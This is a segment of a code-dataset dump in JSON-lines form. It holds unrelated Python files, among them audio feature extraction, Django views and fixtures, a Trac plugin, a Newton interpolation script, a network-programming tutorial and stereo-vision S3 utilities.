#y = 2 / N * librosa.stft(x, n_fft=N, hop_length=hop, win_length=N, window='hann', center=True, dtype=None, pad_mode='reflect')\n\n # time: 0.00044193744659423826s\n #_, _, y = scipy.signal.stft(x, fs=1.0, window='hann', nperseg=N, noverlap=N-hop, nfft=N, detrend=False, return_onesided=True, boundary='zeros', padded=False, axis=- 1)\n\n # result of measured time diff\n delta_time_list.append(time.time() - start_time)\n\n # data shpae\n print(\"y: \", y.shape)\n\n # times\n print(\"delta_time: \", np.mean(delta_time_list))\n\n\nif __name__ == '__main__':\n \"\"\"\n main file of feature extraction and how to use it\n \"\"\"\n \n import time\n import matplotlib.pyplot as plt\n import librosa.display\n\n import soundfile\n\n from common import create_folder\n from plots import plot_mel_band_weights\n\n # plot path\n plot_path = './ignore/plots/fe/'\n\n # create folder\n create_folder([plot_path])\n\n # --\n # params\n\n fs = 16000\n N = 400\n hop = 160\n n_filter_bands = 32\n n_ceps_coeff = 12\n\n\n # --\n # test signal\n\n # generate test signal\n x = some_test_signal(fs, t=1, save_to_file=False)\n\n\n # --\n # workflow\n\n # create mel bands\n w_f, w_mel, f, m = mel_band_weights(n_bands=32, fs=fs, N=N//2+1)\n\n # stft\n X = 2 / N * librosa.stft(x, n_fft=N, hop_length=hop, win_length=N, window='hann', center=False).T\n\n # energy of fft (one-sided)\n E = np.power(np.abs(X), 2)\n\n # sum the weighted energies\n u = np.inner(E, w_f)\n\n # mfcc\n mfcc = custom_dct(np.log(u), n_filter_bands).T\n\n print(\"mfcc: \", mfcc.shape)\n\n\n # inverse mfcc\n # y = librosa.feature.inverse.mfcc_to_audio(mfcc, n_mels=32, dct_type=2, norm='ortho', ref=1.0)\n # print(\"x: \", x.shape)\n # print(\"y: \", y.shape)\n # soundfile.write('./ignore/features/inv_mfcc.wav', y, fs, subtype=None, endian=None, format=None, closefd=True)\n\n\n #--\n # test some functions\n\n #test_some_stfts(x, fs, N, hop)\n #test_some_dcts(u, n_filter_bands, n_ceps_coeff)\n #test_some_mfccs(x, fs, N, hop, n_filter_bands, n_ceps_coeff)\n\n\n # --\n # other stuff\n\n # time measurement\n #time_measurements(x, u, fs, N, hop, n_filter_bands, n_ceps_coeff)\n\n # plot stuff\n #plot_mel_band_weights(w_f, w_mel, f, m, plot_path=plot_path, name='weights')\n #plt.show()\n\n\n\n\n","sub_path":"feature_extraction.py","file_name":"feature_extraction.py","file_ext":"py","file_size_in_byte":20908,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"201279771","text":"import RPi.GPIO as GPIO\nfrom time import sleep\n\nclass RotaryEncoder():\n \n def __init__(self, pins):\n self.clk_pin = pins[0]\n self.dt_pin = pins[1]\n GPIO.setmode(GPIO.BCM)\n GPIO.setup(pins, GPIO.IN, pull_up_down=GPIO.PUD_DOWN)\n self.counter = 0\n self.clk_last_state = GPIO.input(pins[0])\n\n def countRotary(self):\n self.clk_state = GPIO.input(self.clk_pin)\n self.dt_state = GPIO.input(self.dt_pin)\n if self.clk_state != self.clk_last_state:\n if self.dt_state != self.clk_last_state:\n self.counter += 1\n else:\n self.counter -= 1\n self.is_changed = True\n else:\n self.is_changed = False\n self.clk_last_state = self.clk_state\n\n","sub_path":"mecanum_robot/node/customClass/RotaryEncoder.py","file_name":"RotaryEncoder.py","file_ext":"py","file_size_in_byte":781,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"636378080","text":"\"\"\"\nUnit tests for l10n bindings\n\"\"\"\n\n__author__ = 'VMware, Inc.'\n__copyright__ = 'Copyright 2015 VMware, Inc. All rights reserved. -- VMware Confidential' # pylint: disable=line-too-long\n\n\nimport unittest\nimport decimal\nimport locale\n\nfrom vmware.vapi.bindings.datetime_helper import DateTimeConverter\nfrom vmware.vapi.l10n.constants import DEFAULT_LOCALE\nfrom vmware.vapi.l10n.formatter import StringFormatter\nfrom vmware.vapi.l10n.bundle import DictionaryResourceBundle\nfrom vmware.vapi.stdlib.provider.factories import LocalizableMessageFactory\nfrom com.vmware.vapi.std_provider import LocalizableMessage\n\n\nclass TestBindings(unittest.TestCase):\n def setUp(self):\n locale.setlocale(locale.LC_ALL, DEFAULT_LOCALE)\n\n def test_simple(self):\n messages = {'foo.str': 'some string'}\n rb = DictionaryResourceBundle(messages)\n lf = LocalizableMessageFactory(rb, StringFormatter)\n actual_result = lf.get_message('foo.str')\n expected_result = LocalizableMessage(default_message='some string',\n args=[],\n id='foo.str')\n self.assertEqual(expected_result, actual_result)\n\n def test_complex(self):\n datetime_msg = '1978-03-04T05:06:07.100Z'\n dt = DateTimeConverter.convert_to_datetime(datetime_msg)\n messages = {'foo.str.complex': 'string %s, long %d, float %f, time %tc'}\n rb = DictionaryResourceBundle(messages)\n lf = LocalizableMessageFactory(rb, StringFormatter)\n actual_result = lf.get_message('foo.str.complex',\n 'hello', 123, decimal.Decimal('123.456'), dt)\n expected_result = LocalizableMessage(\n default_message='string hello, long 123, float 123.456000, time Sat 04 Mar 1978 05:06:07 AM',\n args=['hello', '123', '123.456', '1978-03-04T05:06:07.100Z'],\n id='foo.str.complex')\n self.assertEqual(expected_result, actual_result)\n\n def test_unknown(self):\n messages = {}\n rb = DictionaryResourceBundle(messages)\n lf = LocalizableMessageFactory(rb, StringFormatter)\n actual_result = lf.get_message('bogus', 'hello')\n expected_result = LocalizableMessage(\n default_message=\"Unknown message ID bogus requested with parameters hello\",\n args=['bogus', 'hello'],\n id='vapi.message.unknown')\n self.assertEqual(expected_result, actual_result)\n\n def test_percent_char(self):\n messages = {\n 'msg.percent': 'stateId=0%%200%%20405444635',\n }\n rb = DictionaryResourceBundle(messages)\n lf = LocalizableMessageFactory(rb, StringFormatter)\n actual_result = lf.get_message('msg.percent')\n expected_result = LocalizableMessage(\n id='msg.percent',\n args=[],\n default_message=\"stateId=0%%200%%20405444635\"\n )\n self.assertEqual(expected_result, actual_result)\n\n def test_percent_char_2(self):\n messages = {\n 'msg.percent': 'stateId=%%20%s%%20'\n }\n rb = DictionaryResourceBundle(messages)\n lf = LocalizableMessageFactory(rb, StringFormatter)\n actual_result = lf.get_message('msg.percent', 'hello')\n expected_result = LocalizableMessage(\n id='msg.percent',\n args=['hello'],\n default_message=\"stateId=%%20hello%%20\"\n )\n self.assertEqual(expected_result, actual_result)\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"alexa-program/vmware/vapi/l10n/tests/test_bindings.py","file_name":"test_bindings.py","file_ext":"py","file_size_in_byte":3547,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"297126484","text":"import pytest\nfrom django.contrib.auth.models import User, Permission\n\nfrom project.models import Client, Debtor, Case\n\n\n@pytest.fixture\ndef unauthorized_user():\n unauthorized_user = User.objects.create_user(\"Ola\")\n return unauthorized_user\n\n\n@pytest.fixture\ndef authorized_user():\n authorized_user = User.objects.create_user(\"Ola\")\n perm = Permission.objects.get(codename=\"add_leadingperson\")\n authorized_user.user_permissions.add(perm)\n return authorized_user\n\n\n@pytest.fixture\ndef test_client():\n client = Client.objects.create(name='KlientTestowy', address='Malinowa 13', post_code='60222', city='Kraków',\n nip='2918089285')\n return client\n\n\n@pytest.fixture\ndef test_debtor():\n client = Client.objects.create(name='KlientTestowy1', address='Malinowa 13', post_code='60222', city='Kraków',\n nip='2918089286')\n debtor = Debtor.objects.create(name=\"Testowydłużnik\", nip='3813758713', client=client)\n return debtor\n\n\n@pytest.fixture\ndef test_case():\n client = Client.objects.create(name='KlientTestowy12', address='Malinowa 13', post_code='60222', city='Kraków',\n nip='2918089289')\n debtor = Debtor.objects.create(name=\"Testowydłużnik1\", nip='3813758714', client=client)\n case = Case.objects.create(case_number='22/2020/25689WX', case_description='SprawaTestowa1', client=client,\n debtor=debtor)\n return case\n","sub_path":"conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":1498,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"490918378","text":"from sympy import *\nx = symbols(\"x\")\ny = symbols(\"y\")\n\nbk_div_times = 0 #除算回数\nbk_sub_times = 0 #減算回数\nyk_mul_times = 0 #乗算回数\nyk_add_times = 0 #加算回数\n\n# 初期化\nxk = [1.5, 1.6, 1.7]\nfk = [0.40547, 0.47000, 0.53063]\nnumber_of_points = len(xk)\nn = number_of_points - 1\nbk = [fk[0]] #0次のニュートン補間係数b0はf0なのでアペンドする\ndifferences = fk\nterm = []\n\n# 係数を求めるときに必要な差分を求めるメソッド\ndef take_a_difference(denomi1, denomi2, numer1, numer2):\n global bk_div_times\n global bk_sub_times\n bk_div_times += 1\n bk_sub_times += 2\n return (denomi1 - denomi2) / (numer1 - numer2)\n\n# ニュートン補間係数を計算するメソッド\ndef calculate_coefficient(diff, h):\n diff_len = len(diff)\n differences_temp = []\n offset = number_of_points+1 - diff_len\n if diff_len < 1:\n return 0\n for i in range(0, diff_len-1):\n d = take_a_difference(diff[i+1], diff[i], xk[i+1+h], xk[i+1+h-offset])\n differences_temp.append(d)\n if i == 0:\n bk.append(d)\n diff = differences_temp\n calculate_coefficient(diff,h+1)\n\n# m次までの補間多項式の項を求めるメソッド\ndef calculate_term(m):\n if m > n:\n return 0\n else:\n term.append(\"{0} + (x - {1})\".format(bk[m],xk[m]))\n calculate_term(m+1)\n\n# 項から補間多項式を求めるメソッド\ndef calculate_polynomial():\n global yk_mul_times\n global yk_add_times\n for i in range(1, len(term)):\n yk_mul_times += 1\n yk_add_times += 2\n term[0] = term[0] + \" * (\" + term[i]\n polynomial = term[0]\n for j in range(0, n):\n polynomial = polynomial + \")\"\n eliminate = \"+ (x - {0})\".format(xk[-1])\n return polynomial.replace(eliminate,\"\")\n\nif __name__ == \"__main__\":\n # ニュートン補間係数bkを求める\n calculate_coefficient(differences, 0)\n print(\"ニュートン補間係数は...\")\n for i in range(0,len(bk)):\n print(\"b{0} = {1}\".format(i,bk[i]))\n\n # ニュートン補間多項式を求める\n calculate_term(0)\n y_str = calculate_polynomial()\n y = sympify(y_str)\n print(\"よってニュートン補間多項式は...\")\n print(\"f(x) = {0}\".format(y_str))\n print(\" = {0}\".format(expand(y)))\n print(\"それぞれの関数値は...\")\n print(\"f({0}) = {1}\".format(xk[0],y.subs([(x,xk[0])])))\n print(\"f({0}) = {1}\".format(xk[1],y.subs([(x,xk[1])])))\n print(\"f({0}) = {1}\".format(xk[2],y.subs([(x,xk[2])])))\n print(\"f({0}) = {1}\".format(1.65,y.subs([(x,1.65)])))\n print(\"\")\n print(\"ニュートン補間係数の演算総数:除算は{0}回\".format(bk_div_times))\n print(\"ニュートン補間係数の演算総数:減算は{0}回\".format(bk_sub_times))\n print(\"ニュートン補間多項式の演算総数:乗算は{0}回\".format(yk_mul_times))\n print(\"ニュートン補間多項式の演算総数:加算は{0}回\".format(yk_add_times))\n","sub_path":"numerical_analysis/newton_interpolation.py","file_name":"newton_interpolation.py","file_ext":"py","file_size_in_byte":2994,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"601799063","text":"\"\"\"\n3. \n(The Triangle class) Design a class named Triangle that extends the\nGeometricObject class defined below. The Triangle class contains:\n - Three float data fields named side1, side2, and side3 to denote the three\n sides of the triangle.\n - A constructor that creates a triangle with the specified side1, side2, and\n side3 with default values 1.0.\n - The accessor methods for all three data fields.\n - A method named getArea() that returns the area of this triangle.\n - A method named getPerimeter() that returns the perimeter of this triangle.\n - A method named __str__() that returns a string description for the triangle.\n​\n​\n class GeometricObject:\n def __init__(self, color = \"green\", filled = True):\n self.color = color\n self.filled = filled\n​\n def getColor(self):\n return self.color\n​\n def setColor(self, color):\n self.color = color\n​\n def isFilled(self):\n return self.filled\n​\n def setFilled(self, filled):\n self.filled = filled\n \n def toString(self):\n return \"color: \" + self.color + \" and filled: \" + str(self.filled)\n​\n​\n Write a test program that prompts the user to enter the three sides of the \n triangle, a color, and 1 or 0 to indicate whether the triangle is filled. \n The program should create a Triangle object with these sides and set the \n color and filled properties using the input. The program should display the \n triangle’s area, perimeter, color, and True or False to indicate whether the \n triangle is filled or not.\n # Do this last\n\n\"\"\"\nimport geometricObj\nfrom math import sqrt\n\ndef main():\n # Collecting triangle data\n sides = getSides()\n color = input('What color is the triangle?\\n')\n filled = fill()\n \n # creating Triangle object\n triangle = geometricObj.Triangle(color, filled, sides[0], sides[1], sides[2])\n print(triangle)\n\n# Method to get the user input for sides\ndef getSides():\n # Empty list for side input\n sides = []\n # Collect input for each possible side of triangle\n for i in range(3):\n # Tracks whether or not valid input has been input\n valid = False\n while valid == False:\n try:\n # getting input for current side\n side = float(input(f'Please provide the length of side {i+1} for your triangle:\\n'))\n valid = True\n sides.append(side)\n except ValueError:\n print('Error: Please provide a number value (ex: 5 or 5.3)!')\n # return the list of sides\n return sides\n\n# Getting input for filled status with input validation\ndef fill():\n # Tracks whether or not valid input has been input\n valid = False\n while valid == False:\n try:\n # getting input for filled status\n validOptions = [0,1]\n fill = int(input('Would you like to fill this triangle? (1 = yes, 2 = no)\\n'))\n while int(fill) not in validOptions:\n fill = int(input('Incorrect input.\\nWould you like to fill this triangle? (1 = yes, 2 = no)\\n'))\n valid = True\n return fill\n except ValueError:\n print('Error: Please provide a number value (1 or 0)!')\n\nmain()\n ","sub_path":"LABS/PerfExam/prompt3.py","file_name":"prompt3.py","file_ext":"py","file_size_in_byte":3333,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"499328992","text":"import re\n\nfrom genshi.builder import tag\n\nfrom trac.core import *\nfrom trac.web import IRequestHandler\nfrom trac.web.chrome import INavigationContributor, ITemplateProvider, \\\n add_stylesheet, add_javascript\n\nfrom model import Task\n\n\nclass QGanttGroup(Component):\n implements(IRequestHandler, ITemplateProvider)\n\n def _get_tickets(self, mid):\n db = self.env.get_db_cnx()\n cursor = db.cursor()\n sql = \"SELECT t.id, t.owner, t.summary, ts.name, ts.value \\\n FROM ticket as t, ticket_custom as ts WHERE t.status != 'closed' \\\n AND t.id = ts.ticket AND t.milestone = '%s' ORDER BY t.id DESC;\" % mid\n cursor.execute(sql)\n tickets = cursor.fetchall() or []\n return tickets\n\n def _get_data(self, mid):\n tickets = self._get_tickets(mid)\n tmp = {}\n for id, owner, name, key, value in tickets:\n if not tmp.has_key(id):\n tmp[id] = {'id': id, 'assignee': owner}\n tmp[id]['name'] = name\n tmp[id][key] = value\n\n tasks = []\n for k in tmp:\n tasks.append(Task(tmp[k]))\n return tasks\n\n # IRequestHandler methods\n def match_request(self, req):\n match = re.match(r'/qgantt/group/(.*)/(.*)$', req.path_info)\n if match:\n req.args['group_name'] = match.group(1)\n req.args['group_value'] = match.group(2)\n return True\n\n def process_request(self, req):\n data = {}\n #add_stylesheet(req, 'qgantt/fc/Style.css')\n add_javascript(req, 'qgantt/fc/FusionCharts.js')\n # This tuple is for Genshi (template_name, data, content_type)\n # Without data the trac layout will not appear.\n\n #data.update({'tickets': self._get_tickets()})\n data.update({'chart_xml': 'xml/' + req.args.get('group_name')\n + '/' + req.args.get('group_value') + '.xml'})\n\n return 'chart.html', data, None\n\n\n # ITemplateProvider methods\n # Used to add the plugin's templates and htdocs\n def get_templates_dirs(self):\n from pkg_resources import resource_filename\n return [resource_filename(__name__, 'templates')]\n\n def get_htdocs_dirs(self):\n \"\"\"Return a list of directories with static resources (such as style\n sheets, images, etc.)\n\n Each item in the list must be a `(prefix, abspath)` tuple. The\n `prefix` part defines the path in the URL that requests to these\n resources are prefixed with.\n\n The `abspath` is the absolute path to the directory containing the\n resources on the local file system.\n \"\"\"\n from pkg_resources import resource_filename\n return [('qgantt', resource_filename(__name__, 'htdocs'))]\n","sub_path":"qgantt/qgantt/group.py","file_name":"group.py","file_ext":"py","file_size_in_byte":2760,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"202622352","text":"\"\"\"Test the SmartTub sensor platform.\"\"\"\n\nfrom . import trigger_update\n\n\nasync def test_state_update(spa, setup_entry, hass, smarttub_api):\n \"\"\"Test the state entity.\"\"\"\n\n entity_id = f\"sensor.{spa.brand}_{spa.model}_state\"\n state = hass.states.get(entity_id)\n assert state is not None\n assert state.state == \"normal\"\n\n spa.get_status.return_value[\"state\"] = \"BAD\"\n await trigger_update(hass)\n state = hass.states.get(entity_id)\n assert state is not None\n assert state.state == \"bad\"\n","sub_path":"tests/components/smarttub/test_sensor.py","file_name":"test_sensor.py","file_ext":"py","file_size_in_byte":514,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"494633215","text":"\"\"\"\r\n第十九章:网络编程\r\n\"\"\"\r\n#1. 计算机网络\r\n# 定义:将地理位置不同具有独立功能的多台计算机,通过通信线路(不是通过硬件存储),来进行互相通信\r\n# 实现数据的共享。\r\n# 软盘:1.44mb\r\n\r\n# 网络的七层结构:\r\n\"\"\"\r\n应用层(最贴近用户使用者):http ftp\r\n表示层\r\n会话层\r\n传输层: tcp udp\r\n网络层:ip\r\n数据链路层(设备和驱动)\r\n物理层(最贴计算机的一层)\r\n\"\"\"\r\n\"\"\"\r\nHTTP协议:超文本传输协议\r\nip协议: 互联网协议\r\ntcp :传输控制协议,安全有效的协议\r\n 基于连接的协议,点对点的通道,tcp协议可以保证一方发送之后,\r\n 外一方一定能准确(接收顺序)的接收\r\n 三次握手: 客户端说:我能跟你连接吗?\r\n 服务端: 可以\r\n 客户端:知道了,发送信息\r\n \r\nudp: 用户数据协议:无连接,不安全可靠协议\r\n 不管对方是否接收,发送方直接发送\r\n\r\n\r\nftp: 文件传输协议\r\n\"\"\"\r\n\r\n# IP地址端口号\r\n# 202.195.2.5\r\n# ip地址4个段 每段8位 一共是32位\r\n\r\n# 端口号:一台计算机上区分不同程序 16位\r\n\r\n\r\n# 二、url:统一资源定位,网络的资源地址\r\n# 1.url的组成\r\n# url分为两个部分(使用//分隔):协议的标识符 资源的名称\r\n# https://www.baidu.com\r\n# 资源的名称也取决于使用的协议\r\n# 主机名称\r\n# 端口号\r\n# 文件名\r\n# 相关应用\r\n# 127.0.0.1本地回环地址: localhost\r\n# https://127.0.0.1:8080/student/index.jsp\r\n\r\n# 2.python中解析url\r\n# urllib.parse下urlparse函数,返回值是元组\r\nfrom urllib.parse import urlparse\r\nurl=\"https://127.0.0.1:8080/student/index.jsp?a=hello&b=world\"\r\nresult=urlparse(url)\r\nprint(result)\r\nprint(result[2])\r\nprint(result.path)\r\n\r\n# 3.发起请求\r\n# 两种方式\r\n#1. urllib.request的urlopen方法\r\n# 参数:url\r\n# 返回值:response对象(响应对象)\r\nfrom urllib.request import urlopen,urlretrieve\r\n# response=urlopen(\"https://www.lagou.com/\")\r\n# response=urlopen(\"file:///c:/abc.txt\") #本地硬盘的内容\r\n# read,读取服务器的返回内容,返回字节\r\n# html=response.read()\r\n# html=html.decode()\r\n# print(html)\r\n\r\n# 举例,下载图片\r\nrmag=urlopen(\"https://www.baidu.com/img/bd_logo1.png?where=super\")\r\nwith open(\"c:/download.png\",\"wb\") as f:\r\n f.write(rmag.read())\r\n\r\n#2.urlretrieve: 单纯的下载\r\n# 参数1:访问的url\r\n# 参数2\r\nurlretrieve(\"https://www.baidu.com/img/bd_logo1.png?where=super\",\"d:/d1.png\")\r\n\r\n# 练习 ,爬取网页中所有的http的url\r\nimport re\r\nurl=\"https://www.csdn.net/\"\r\n#\r\nresponse=urlopen(url)\r\ncontent=response.read().decode()\r\nprint(content)\r\nres_url=r\"\"\r\nurls=re.findall(res_url,content,re.IGNORECASE|re.DOTALL|re.MULTILINE)\r\nfor i in urls:\r\n print(i[0])","sub_path":"code/day19/day19-1-network.py","file_name":"day19-1-network.py","file_ext":"py","file_size_in_byte":2942,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"233405090","text":"import inspect\n\nfrom tornado import escape\n\nfrom models.ItemFila import ItemFila\nfrom BaseHandler import BaseHandler\n\n\nclass ItemFilaHandler(BaseHandler):\n\n def initialize(self):\n self.model = ItemFila(self.application.db)\n\n def get(self, fila_id, id=None):\n data = self._get_data(inspect.currentframe())\n try:\n query = self.model.get(data)\n self.write(escape.json_encode(query))\n self.set_header(\"Content-Type\", \"application/json\")\n except ValueError:\n self.send_error(400)\n\n def post(self, fila_id, id=None):\n if fila_id == str(self._json_args['fila_id']):\n try:\n data = self._post_put_data(self._json_args)\n query = self.model.save(data)\n self.write(escape.json_encode(query))\n self.set_header(\"Content-Type\", \"application/json\")\n except ValueError:\n self.send_error(400)\n else:\n self.send_error(400)\n\n def put(self, fila_id, id):\n if (id == str(self._json_args['id'])) & (fila_id == str(self._json_args['fila_id'])):\n try:\n data = self._post_put_data(self._json_args)\n query = self.model.update(data)\n self.write(escape.json_encode(query))\n self.set_header(\"Content-Type\", \"application/json\")\n except ValueError:\n self.send_error(400)\n else:\n self.send_error(400)\n\n def delete(self, fila_id, id):\n try:\n data = self._get_data(inspect.currentframe())\n self.model.delete(data)\n except ValueError:\n self.send_error(400)\n","sub_path":"handlers/ItemFila.py","file_name":"ItemFila.py","file_ext":"py","file_size_in_byte":1699,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"447789623","text":"\n# Copyright 2016-2018, Rigetti Computing\n#\n# This source code is licensed under the Apache License, Version 2.0 found in\n# the LICENSE.txt file in the root directory of this source tree.\n\n\"\"\"\nQuantumFlow's Tensor Library Backend\n\"\"\"\n\nimport os\n\nfrom ..config import ENV_PREFIX, SEED\nfrom .numpybk import set_random_seed as np_set_random_seed\n\nDEFAULT_BACKEND = 'numpy'\nBACKENDS = ('tensorflow', 'tensorflow2', 'eager', 'torch', 'numpy')\n\n# Environment variable override\n_BACKEND_EV = ENV_PREFIX + 'BACKEND'\nBACKEND = os.getenv(_BACKEND_EV, DEFAULT_BACKEND)\nif BACKEND not in BACKENDS: # pragma: no cover\n raise ValueError('Unknown backend: {}={}'.format(_BACKEND_EV, BACKEND))\n\nif BACKEND == 'tensorflow': # pragma: no cover\n from quantumflow.backend.tensorflowbk import * # noqa: F403\nelif BACKEND == 'eager': # pragma: no cover\n from quantumflow.backend.eagerbk import * # noqa: F403\nelif BACKEND == 'tensorflow2': # pragma: no cover\n from quantumflow.backend.tensorflow2bk import * # noqa: F403\nelif BACKEND == 'torch': # pragma: no cover\n from quantumflow.backend.torchbk import * # noqa: F403\nelse: # pragma: no cover\n from quantumflow.backend.numpybk import * # noqa: F403\n\n__all__ = [ # noqa: F405\n 'BKTensor', 'CTYPE', 'DEVICE', 'FTYPE', 'MAX_QUBITS', 'TENSOR',\n 'TL', 'TensorLike', 'absolute', 'arccos', 'astensor',\n 'ccast', 'cis', 'conj', 'cos', 'diag', 'evaluate', 'exp', 'fcast',\n 'gpu_available', 'imag', 'inner', 'minimum',\n 'outer', 'matmul',\n 'rank', 'real', 'reshape', 'set_random_seed', 'sin',\n 'sqrt', 'reduce_sum', 'tensormul', 'trace', 'transpose',\n 'getitem', 'astensorproduct', 'productdiag',\n 'EINSUM_SUBSCRIPTS', 'einsum',\n '__version__', '__name__']\n\n# Warning: Using 'sum' as function is weirdly problamatic because of python's\n# built in sum(). We use 'sum' for the backend interface becuase it is part of\n# numpy's conventions. (Tensoflow uses reduce_sum() instead)\n# One problem that can show up randomly is that if you use python's sum()\n# anywhere else in quantuflow, then the line above will start causing\n# typecheck errors. Workaround is to always use np.sum(), and never\n# python's sum. A better solution might be to rename bk.sum().\n\n\nif SEED is not None: # pragma: no cover\n np_set_random_seed(SEED)\n set_random_seed(SEED) # noqa: F405\n","sub_path":"quantumflow/backend/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2599,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"259560710","text":"from django.shortcuts import render\nfrom django.http.response import JsonResponse\nfrom apiz.models import Company, Vacancies\n\ndef company_list(request):\n companies = Company.objects.all()\n companies_json = [c.to_json() for c in companies]\n return JsonResponse(companies_json, safe=False)\n\ndef company_detail(request, company_id):\n try:\n company = Company.objects.get(id = company_id)\n except Company.DoesNotExist as e:\n return JsonResponse({'error': str(e)})\n\n if request.method == 'GET':\n return JsonResponse(company.to_json())\n\ndef company_vacancies(request, company_id):\n try:\n company = Company.objects.get(id = company_id)\n except Company.DoesNotExist as e:\n return JsonResponse({'error': str(e)})\n\n vacancies = company.vacancies.all()\n vacancies_json = [v.to_json() for v in vacancies]\n\n return JsonResponse(vacancies_json, safe=False)\n\ndef vacancies_list(request):\n vacancies = Vacancies.objects.all()\n vacancies_json = [vac.to_json() for vac in vacancies]\n return JsonResponse(vacancies_json, safe=False)\n\ndef vacancy_detail(request, vacancy_id):\n try:\n vacancy = Vacancies.objects.get(id=vacancy_id)\n except Vacancies.DoesNotExist as e:\n return JsonResponse({'error': str(e)})\n\n if request.method == \"GET\":\n return JsonResponse(vacancy.to_json())\n\ndef top_ten(request):\n ordered_vacancies = Vacancies.objects.order_by('-salary')[:10]\n ord_vac_json = [o.to_json() for o in ordered_vacancies]\n return JsonResponse(ord_vac_json, safe=False)\n# Create your views here.\n","sub_path":"week11/hh_back/apiz/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1590,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"51771454","text":"\"\"\"\n@Author : Ailitonia\n@Date : 2021/06/12 20:45\n@FileName : config.py\n@Project : nonebot2_miya \n@Description : \n@GitHub : https://github.com/Ailitonia\n@Software : PyCharm \n\"\"\"\n\nfrom typing import List, Dict, Union\nfrom pydantic import BaseSettings\n\n\nclass Config(BaseSettings):\n # plugin custom config\n # 启用使用群组转发自定义消息节点的模式发送信息\n # 发送速度受限于网络上传带宽, 有可能导致超时或发送失败, 请酌情启用\n enable_node_custom: bool = False\n sub_id: str = 'pixivision'\n\n # 不推送包含以下 tag 的 article\n tag_block_list: List[Dict[str, Union[int, str]]] = [\n {'id': 206, 'name': '时尚男子'},\n {'id': 10, 'name': '有趣的'},\n {'id': 18, 'name': '恶搞'},\n {'id': 217, 'name': '恐怖'},\n # {'id': 32, 'name': '男孩子'},\n {'id': 88, 'name': '帅哥'},\n {'id': 89, 'name': '大叔'},\n {'id': 328, 'name': '男子的眼睛'},\n {'id': 344, 'name': '日本画'},\n {'id': 321, 'name': '绝望'},\n {'id': 472, 'name': '我的英雄学院'}\n ]\n\n class Config:\n extra = \"ignore\"\n","sub_path":"omega_miya/plugins/pixivsion_monitor/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1209,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"167693757","text":"import os\nfrom io import BytesIO\n\nimport boto3\nimport cv2\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nfrom utils.preprocess import get_inv_transform\n\nCLIENT = boto3.client('s3')\n\n\ndef get_lidar_train_list():\n data = BytesIO()\n CLIENT.download_fileobj('autogpe-datasets', 'lidar-hdsm-dataset/train_1_0.txt', data)\n data.seek(0)\n json_str = data.read().decode('UTF-8')\n return json_str.split('\\r\\n')\n\n\ndef list_s3(prefix, delim='/'):\n objs = CLIENT.list_objects_v2(Bucket='autogpe-datasets', Prefix=prefix, Delimiter=delim)\n return objs\n\ndef download_file_s3(s3_key, out_key):\n if os.path.exists(out_key):\n print('Exists-skip: {} to {}'.format(s3_key, out_key))\n return\n print('download: {} to {}'.format(s3_key, out_key))\n CLIENT.download_file('autogpe-datasets', s3_key, out_key)\n\n\ndef download_sample(s3_key, out_folder):\n command = 'aws s3 sync \"{}\" \"{}\" --quiet'.format(s3_key, out_folder)\n print(command)\n os.system(command)\n print('===== Finished dataset sync =====')\n return out_folder\n\n\ndef visualize_random_pixel_pairs(left, right, disp_left, sample=4):\n ys = []\n for i in range(sample):\n y = np.random.randint(0, disp_left.shape[0], 1)[0]\n x = np.random.randint(0, disp_left.shape[1], 1)[0]\n disp = disp_left[y, x]\n while disp < 1e-6:\n y = np.random.randint(0, disp_left.shape[0], 1)\n x = np.random.randint(0, disp_left.shape[1], 1)\n disp = disp_left[y, x]\n cv2.circle(left, (x, y), 10, [255, 0, 0])\n cv2.circle(right, (int(x - disp), y), 10, [0, 255, 0])\n cv2.circle(right, (x, y), 10, [0, 0, 255])\n ys.append(y)\n\n rectified_pair = np.concatenate((left, right), axis=1)\n h, w, _ = rectified_pair.shape\n for i in ys:\n rectified_pair = cv2.line(rectified_pair, (0, i), (w, i), (0, 0, 255))\n return rectified_pair\n\n\ndef visualize_sample(img_l, img_r, disp_l):\n preprocess_transform = get_inv_transform()\n img_l = preprocess_transform(img_l)\n img_r = preprocess_transform(img_r)\n img_l = (np.array(img_l).transpose((1, 2, 0)) * 255).astype(np.uint8)\n img_r = (np.array(img_r).transpose((1, 2, 0)) * 255).astype(np.uint8)\n\n rect_pair = visualize_random_pixel_pairs(img_l, img_r, disp_l)\n\n normalized_disparity_image = cv2.normalize(disp_l, None, 0, 255, norm_type=cv2.NORM_MINMAX).astype(np.uint8)\n normalized_disparity_image = np.stack(\n [normalized_disparity_image, normalized_disparity_image, normalized_disparity_image]).transpose((1, 2, 0))\n disp_overlay = cv2.addWeighted(img_l, 0.4, normalized_disparity_image, 0.8, 0)\n fig, (ax1, ax2, ax3) = plt.subplots(3, 1, figsize=(20, 35))\n ax1.set_title('Disparity Overlay')\n ax1.imshow(disp_overlay)\n ax2.imshow(normalized_disparity_image)\n ax2.set_title('Disparity')\n ax3.imshow(rect_pair)\n ax3.set_title('Pair')\n\n 